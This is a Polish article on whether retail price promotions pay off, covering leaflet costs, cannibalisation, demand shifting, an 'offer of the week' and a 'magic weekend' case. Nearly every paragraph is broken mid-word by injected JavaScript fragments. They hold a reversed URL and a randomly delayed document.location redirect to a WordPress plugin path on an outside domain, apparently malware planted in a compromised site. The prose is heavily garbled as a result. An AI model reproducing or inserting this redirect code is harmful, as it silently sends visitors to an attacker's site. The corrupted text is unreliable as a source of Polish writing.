Wyobraźmy sobie Koncept Detaliczny który postanowił wydać ulotkę. Jest w niej wiele produktów w atrakcyjnych cenach. Ulotka kosztuje, ale przecież przyniesie toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dodatkową sprzedaż. Jak sprawdzić, czy się opłacało?
Przykład – koszty i korzyści z ulotki promocyjnej.
Uwaga. „przesunięcie popytu”. Kiedyś byłem świadkiem, jak firma sprzedająca książki zbankru toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towała. I postanowiła się wycofać z rynku. Zamykała sklepy i likwitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowała zapas. Po cenach wręcz symbolicznych. Oczywiście nie było dla nikogo zaskoczeniem, że w tym czasie spadła sprzedaż w sklepach konkurencji. Co jednak stało się już po zamknięciu tej sieci? Na razie nic, sprzedaż w innych sklepach nie rosła, choć przecież konkurenci się zamknęli. W kolejnym miesiącu też nic. I w kolejnym. Sprzedaż zaczęła niemrawo rosnąć toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dopiero po 3-ch miesiącach. Tyle bowiem czasu potrzebowali klienci, aby „skonsumować” toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, co kupili po obniżonych cenach. Tak właśnie działa mechanizm przesuwania popytu. Oferta na telewizor rzadko zwiększa liczbę sprzedawanych telewizorów, za toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to z łatwością przesuwa termin ich zakupu, równie łatwo przesuwając popyt z jednego modelu na drugi.
Jeśli policzymy wszystkie koszty promocji, w tym koszt rabatu, kanibalizacji i przesunięcia popytu, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to trudno znaleźć taką promocję, żeby się opłacała. To co, nie należy ich robić? Są dwie odpowiedzi. Jeśli znajdziemy taką, która faktycznie zwiększy odwiedzalność, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to detalista zyska. A jeśli nie? To nadal war toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to. Ale nie żeby zarobić, ale żeby uatrakcyjnić. Gdyż sklep bez promocji toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to sklep smutny, choć zyskowny. I w długim okresie taki smutny sklep traci popularność. A więc promocje jak najbardziej, ale ze światoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}domością, że trudno na nich zarobić.
Jest jeszcze jedna droga. Można wprawdzie rozpowszechniać ulotki, ale wcale nie promocyjne. A raczej promocyjne, tyle że nie są toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to promocje cenowe. Tylko jest toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to prezentacja nowości, korzyści z zakupu wybranych toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towarów, przedstawienie kompletnych rozwiązań itd. A więc informacje, a nie przekupstwo.
Uwaga. „oferta tygodnia”. Wyobraźmy sobie ofertę tygodnia. Sklep sprzedaje koszule, a jedna z nich, w porozumieniu z toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dostawcą, staje się na tydzień „ofertą tygodnia”, ze specjalną ceną i specjalną ekspozycją. Jej sprzedaż wzrasta kilka razy. Brawo. Jednak na ile wzrosła sprzedaż całej kategorii koszule? Tego nikt nie mierzył, zresztą wpływa na toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to tyle czynników, że trudno ocenić tego wpływ. A część przeceny koszuli tygodnia pokrywa toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dostawca, zaś wzrost sprzedaży jest imponujący. Tymczasem toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nie o toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to chodzi. Nie chodzi o toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, żeby jednej koszuli sprzedać znacznie więcej, ale żeby cały dział koszul wzrósł z 10 000 na 12 000. I toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dopiero tu można zmierzyć sukces. Inaczej po prostu zamiast koszuli A będziemy sprzedawać koszulę B, w toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dodatku po obniżonej cenie, więc w sumie za mniej pieniędzy, nawet jeśli marża procentowa będzie taka sama.
Przykład – przesunięcie popytu. Klucz leży w tym, że w czasie promocji następuje wyraźny wzrost obrotów. Wszyscy go widzą i świętują. Sukces odtrąbiony, robimy tak dalej. K toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to jednak będzie badał, co zdarzyło się później? Zresztą powodów tego zdarzenia i tam może być wiele, więc skąd wiatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}domo? A przecież wzrost obrotów wyraźnie już wiązano z ulotką? Tu już nie było wielu czynników?
Uwaga. „magiczny weekend”. Przesunięcie popytu może mieć dużo bardziej dalekosiężne konsekwencje, niż tylko wzrost sprzedaży w jednym okresie, kosztem kolejnego. Może wręcz zmienić przyzwyczajenia i sposób kupowania klientów. Na znacznie gorszy dla detalisty. Kiedyś miałem okazję obserwować firmę, której sprzedaż nie szła zgodnie z oczekiwaniami. Jeden z jej szefów wymyślił „magiczny weekend”, gdzie ceny w soboty i niedziele były znacznie obniżone. Sukces był spektakularny, sprzedaż weekentoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowa poszybowała w górę o dziesiątki procent. Szef zebrał gratulacje, pomysł się sprawdził.
Co jednak stało się ze sprzedażą w zwykle dni? Spadła. Najpierw tylko trochę, potem coraz bardziej. Nikt jednak tego nie wiązał z „magicznym weekendem”. Te dwie tendencje wydawały się rozdzielne, szczególnie że sprzedaż w weekendy rosła. Nic dziwnego, jeśli sprzedaż z 5-ciu dni skumulujemy w dwa, będzie więcej.
Jaka z tego konkluzja? Udało się przyzwyczaić klientów toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do zakupów w weekendy i po obniżonych cenach. Czy nazwałbym toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to jednak sukcesem? Po stronie zmiany zachowań, jak najbardziej. Korzyści dla firmy – wątpię.
Podsumowanie
Promocja jest w sklepach potrzebna. Jednak jak na niej faktycznie zarobić, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to już zupełnie inna his toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toria. Najczęściej kończy się kanibalizacją innych produktów (w sklepie) lub tych samych produktów (w czasie). Jeśli jednak potrafi przyciągnąć toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dodatkowy ruch, a sklep przygo toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towany jest toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do wykorzystania tego ruchu, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to już można zarobić. W najgorszym razie pozostaje ożywienie sklepu i wywołanie u klienta poczucia, że cały czas coś się tam dzieje.